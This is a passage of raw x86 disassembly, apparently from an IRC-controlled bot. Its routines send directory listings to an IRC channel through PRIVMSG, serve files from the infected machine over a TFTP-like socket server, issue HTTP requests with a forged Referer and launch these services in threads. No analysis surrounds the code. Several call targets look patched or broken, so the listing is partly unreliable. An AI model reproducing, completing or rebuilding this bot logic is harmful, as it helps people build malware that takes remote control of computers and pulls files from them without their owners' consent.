XREF: sub_406387+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40662D sub eax, 0Ch loc_40662D: ; CODE XREF: sub_406387+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4172B0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067D0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066A1 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_406919 ; --------------------------------------------------------------------------- loc_4066A1: ; CODE XREF: sub_406387+2E0j cmp [ebp+arg_C], ebx jz loc_40678B push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406741 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406746 ; --------------------------------------------------------------------------- loc_406741: ; CODE XREF: sub_406387+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406746: ; CODE XREF: sub_406387+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40691A ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406387+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 14h jmp loc_406929 ; --------------------------------------------------------------------------- loc_4067D0: ; CODE XREF: sub_406387+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40680F push ebx push [ebp+var_368] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4067FB: ; CODE XREF: sub_406387+577j lea eax, [ebp+var_248] push eax call sub_41782A add esp, 1Ch jmp loc_406929 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_406387+44Fj cmp [ebp+arg_C], ebx jz loc_406903 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068AF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B4 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_406387+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B4: ; CODE XREF: sub_406387+526j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4067FB ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_406387+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_406919: ; CODE XREF: sub_406387+315j push esi loc_40691A: ; CODE XREF: sub_406387+3FFj lea eax, [ebp+var_248] push eax call sub_41782A add esp, 18h loc_406929: ; CODE XREF: sub_406387+444j ; sub_406387+483j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 cmp [ebp+arg_8], ebx jz short loc_406958 push 7D0h nop call near ptr 25F0439h loc_406958: ; CODE XREF: sub_406387+22Bj ; sub_406387+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2690000h test eax, eax jnz loc_4065AC loc_406970: ; CODE XREF: sub_406387+21Aj push [ebp+arg_0] call near ptr 26703ADh nop cmp [ebp+arg_8], ebx jz short loc_4069B3 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4172B0 add esp, 14h jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069B3: ; CODE XREF: sub_406387+5F5j cmp [ebp+arg_C], ebx jz short loc_4069CD lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406387+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4172B0 add esp, 10h loc_4069E7: ; CODE XREF: sub_406387+62Aj ; sub_406387+644j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 pop edi pop esi xor eax, eax pop ebx leave retn sub_406387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 2630000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AC5 push esi push ebx nop call near ptr 2670000h cmp eax, esi mov [ebp+arg_4], eax jz short loc_406ABE loc_406A52: ; CODE XREF: sub_406A0D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417330 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A6F mov edi, [ebp+arg_4] loc_406A6F: ; CODE XREF: sub_406A0D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 26B0000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 2611183h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_406AB9 call dword_43F5FC cmp eax, 2733h jnz short loc_406ABE xor eax, eax loc_406AB9: ; CODE XREF: sub_406A0D+9Bj sub [ebp+arg_4], eax jnz short loc_406A52 loc_406ABE: ; CODE XREF: sub_406A0D+43j ; sub_406A0D+A8j push ebx nop call near ptr 2611A31h loc_406AC5: ; CODE XREF: sub_406A0D+30j pop edi pop esi pop ebx leave retn sub_406A0D endp ; =============== S U B R O U T I N E ======================================= sub_406ACA proc near ; CODE XREF: sub_4060D0+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_417AB0 test eax, eax pop ecx jbe short loc_406AF3 loc_406ADD: ; CODE XREF: sub_406ACA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AE7 mov byte ptr [esi+edi], 2Fh loc_406AE7: ; CODE XREF: sub_406ACA+17j push edi inc esi call sub_417AB0 cmp esi, eax pop ecx jb short loc_406ADD loc_406AF3: ; CODE XREF: sub_406ACA+11j mov eax, edi pop edi pop esi retn sub_406ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43F5E0 push 6 push 1 push 2 call dword_43F6E8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43F668 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz short loc_406BD5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B71 mov eax, offset byte_43C80C loc_406B71: ; CODE XREF: sub_406AF8+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43F6B8 push esi lea eax, [ebp+var_110] push edi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43F680 pop esi loc_406BD5: ; CODE XREF: sub_406AF8+6Bj push ebx call dword_43F700 call dword_43F5C8 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4172B0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C15 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_406C15: ; CODE XREF: sub_406AF8+102j pop edi pop ebx leave retn sub_406AF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p ; DATA XREF: sub_407252+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CDC push 190h nop call near ptr 25F0439h call dword_43F5FC push eax lea eax, [ebp+var_780] push offset unk_42AC38 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406CBC: ; CODE XREF: sub_406C19+7Ej lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25E02EAh loc_406CDC: ; CODE XREF: sub_406C19+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4450CC[eax], edi lea eax, [ebp+var_44] push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43F668 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43F694 cmp eax, 0FFFFFFFFh jnz short loc_406D41 push 1388h call near ptr 25F0439h nop dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407104 ; --------------------------------------------------------------------------- loc_406D41: ; CODE XREF: sub_406C19+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DBF push 190h call near ptr 25F0439h nop lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42AC04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 add esp, 28h push ebx nop call near ptr 25E02EAh loc_406DBF: ; CODE XREF: sub_406C19+140j mov esi, 200h loc_406DC4: ; CODE XREF: sub_406C19+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070C4 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417330 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43F650 test eax, eax jle loc_4070B8 mov al, byte_43C80C mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43F640 push [ebp+var_28] mov [ebp+var_C], eax call dword_43F6F4 push eax lea eax, [ebp+var_58] push eax call sub_4172B0 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070A2 cmp [ebp+var_D7], 1 jnz loc_406FEE lea eax, [ebp+var_274] push eax call sub_417AB0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_417AB0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418DA0 add esp, 14h test eax, eax jnz loc_406FA8 lea eax, [ebp+var_1C] push eax call sub_417AB0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418DA0 add esp, 10h test eax, eax jnz loc_406FA8 push ebx push ebx push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418A86 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43F6CC lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42ABBC loc_406F5C: ; CODE XREF: sub_406C19+484j lea eax, [ebp+var_780] push eax call sub_4172B0 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F96 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406F96: ; CODE XREF: sub_406C19+358j lea eax, [ebp+var_780] push eax call sub_40BF6D pop ecx jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FA8: ; CODE XREF: sub_406C19+2B6j ; sub_406C19+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42ABA8 push edi call dword_43F6CC lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_42AB74 push eax call sub_4172B0 lea eax, [ebp+var_D8] push eax call sub_40BF6D add esp, 14h jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FEE: ; CODE XREF: sub_406C19+275j cmp [ebp+var_D7], 4 jnz loc_4070A2 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40702B inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_407039 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406C19+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_407039: ; CODE XREF: sub_406C19+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418A86 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax loc_407079: ; DATA XREF: ___:004282F8o ; ___:0042830Co ... lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43F6CC cmp edi, ebx jnz short loc_4070B8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42AB20 jmp loc_406F5C ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_406C19+268j ; sub_406C19+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42AB14 push edi call dword_43F6CC loc_4070B8: ; CODE XREF: sub_406C19+204j ; sub_406C19+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DC4 loc_4070C4: ; CODE XREF: sub_406C19+1B4j push edi call dword_43F700 push [ebp+var_8] call sub_417900 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070F8 push [ebp+var_170] call sub_417078 pop ecx push ebx call near ptr 25E02EAh nop loc_4070F8: ; CODE XREF: sub_406C19+4CAj push 3E8h nop call near ptr 25F0439h push esi loc_407104: ; CODE XREF: sub_406C19+123j call sub_406C19 pop edi pop esi pop ebx leave retn 4 sub_406C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42B134 push eax xor ebx, ebx call sub_4172B0 cmp dword_42ACB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40717E push esi mov esi, offset dword_42ACB8 loc_407143: ; CODE XREF: sub_407110+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407143 pop esi loc_40717E: ; CODE XREF: sub_407110+2Bj push dword_489C50 call sub_40B721 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 34h pop edi pop ebx leave retn sub_407110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416FA4 test eax, eax pop ecx jle short loc_407217 mov eax, [ebp+arg_C] push dword_43C848[eax*8] call dword_43F6F4 push eax lea eax, [ebp+var_200] push offset unk_42B198 push eax call sub_4172B0 add esp, 0Ch jmp short loc_40722A ; --------------------------------------------------------------------------- loc_407217: ; CODE XREF: sub_4071DB+13j lea eax, [ebp+var_200] push offset unk_42B168 push eax call sub_4172B0 pop ecx pop ecx loc_40722A: ; CODE XREF: sub_4071DB+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 18h leave retn sub_4071DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407252 proc near ; CODE XREF: sub_40797F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075E2 imul eax, 3Ch xor ebx, ebx cmp dword_42ACBC[eax], ebx jz loc_4074C3 push 4 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov eax, dword_42F5AC push edi mov edi, offset dword_43D804 push 104h push edi push ebx mov dword_43DA14, eax mov dword_43DA10, ebx call near ptr 2640000h nop push 103h mov esi, offset dword_43D908 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43D800, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43DA98, eax jnz short loc_407305 lea eax, [ebp+arg_10] push eax push offset dword_43DA18 call sub_418C10 add esp, 0Ch mov dword_43DA9C, 1 jmp short loc_40731F ; --------------------------------------------------------------------------- loc_407305: ; CODE XREF: sub_407252+94j lea eax, [ebp+arg_90] push eax push offset dword_43DA18 call sub_418C10 add esp, 0Ch mov dword_43DA9C, ebx loc_40731F: ; CODE XREF: sub_407252+B1j push esi push edi push dword_43DA14 lea eax, [ebp+var_204] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416D5C add esp, 20h mov dword_43DA0C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43D800 push offset sub_406C19 push ebx push ebx call near ptr 2660D4Bh nop mov ecx, dword_43DA0C imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_40738E loc_40737C: ; CODE XREF: sub_407252+13Aj cmp dword_43DAA0, ebx jnz short loc_4073A9 push 32h nop call near ptr 25F0439h jmp short loc_40737C ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407252+128j nop call near ptr 2630313h push eax lea eax, [ebp+var_204] push offset unk_42B2E8 push eax call sub_4172B0 add esp, 0Ch loc_4073A9: ; CODE XREF: sub_407252+130j lea eax, [ebp+var_204] push eax call sub_40BF6D mov edi, offset dword_43DE5C mov [esp+210h+var_210], 104h push edi push ebx mov dword_43E068, ebx call near ptr 2640000h nop push 103h mov esi, offset dword_43DF60 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43DE58, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43E0F0, eax jnz short loc_407424 lea eax, [ebp+arg_10] push eax push offset dword_43E070 call sub_418C10 add esp, 0Ch mov dword_43E0F4, 1 jmp short loc_40743E ; --------------------------------------------------------------------------- loc_407424: ; CODE XREF: sub_407252+1B3j lea eax, [ebp+arg_90] push eax push offset dword_43E070 call sub_418C10 add esp, 0Ch mov dword_43E0F4, ebx loc_40743E: ; CODE XREF: sub_407252+1D0j push esi push edi push dword_43E06C lea eax, [ebp+var_204] push offset dword_42B298 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416D5C add esp, 20h mov dword_43E064, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43DE58 push offset sub_4053D5 push ebx push ebx call near ptr 2660D4Bh nop mov ecx, dword_43E064 pop edi imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4074B2 loc_40749C: ; CODE XREF: sub_407252+25Ej cmp dword_43E0F8, ebx jnz loc_4075D5 push 32h call near ptr 25F0439h nop jmp short loc_40749C ; --------------------------------------------------------------------------- loc_4074B2: ; CODE XREF: sub_407252+248j nop call near ptr 2630313h push eax push offset dword_42B258 jmp loc_4075C6 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407252+25j cmp dword_42ACC0[eax], ebx jz loc_4075E2 push 3 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov esi, offset dword_43DD34 push 104h push esi push ebx call near ptr 2640000h nop push 5Ch push esi call sub_418F10 pop ecx cmp eax, ebx pop ecx jz short loc_407501 mov [eax], bl loc_407501: ; CODE XREF: sub_407252+2ABj mov eax, dword_42F5B0 mov dword_43DE4C, ebx mov dword_43DE38, eax lea eax, [ebp+arg_10] push eax push offset dword_43DAAC call sub_4172B0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_43DAA8, eax mov ecx, [ebp+arg_138] push esi push dword_43DE38 mov dword_43DE44, ecx mov ecx, [ebp+arg_13C] push eax mov dword_43DE48, ecx call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416D5C add esp, 20h mov dword_43DE40, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43DAA8 push offset sub_405AF2 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, dword_43DE40 imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4075BA loc_4075A8: ; CODE XREF: sub_407252+366j cmp dword_43DE54, ebx jnz short loc_4075D5 push 32h nop call near ptr 25F0439h jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407252+354j call near ptr 2630313h nop push eax push offset unk_42B1C8 loc_4075C6: ; CODE XREF: sub_407252+26Cj lea eax, [ebp+var_204] push eax call sub_4172B0 add esp, 0Ch loc_4075D5: ; CODE XREF: sub_407252+250j ; sub_407252+35Cj lea eax, [ebp+var_204] push eax call sub_40BF6D pop ecx loc_4075E2: ; CODE XREF: sub_407252+14j ; sub_407252+35j ... pop esi pop ebx leave retn sub_407252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:43C848h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417390 add esp, 0Ch push [ebp+arg_0] call dword_43F59C inc eax push eax mov [ebp+arg_0], eax call dword_43F664 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417390 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_407767+69p var_10 = dword ptr -10h var_C = dword ptr 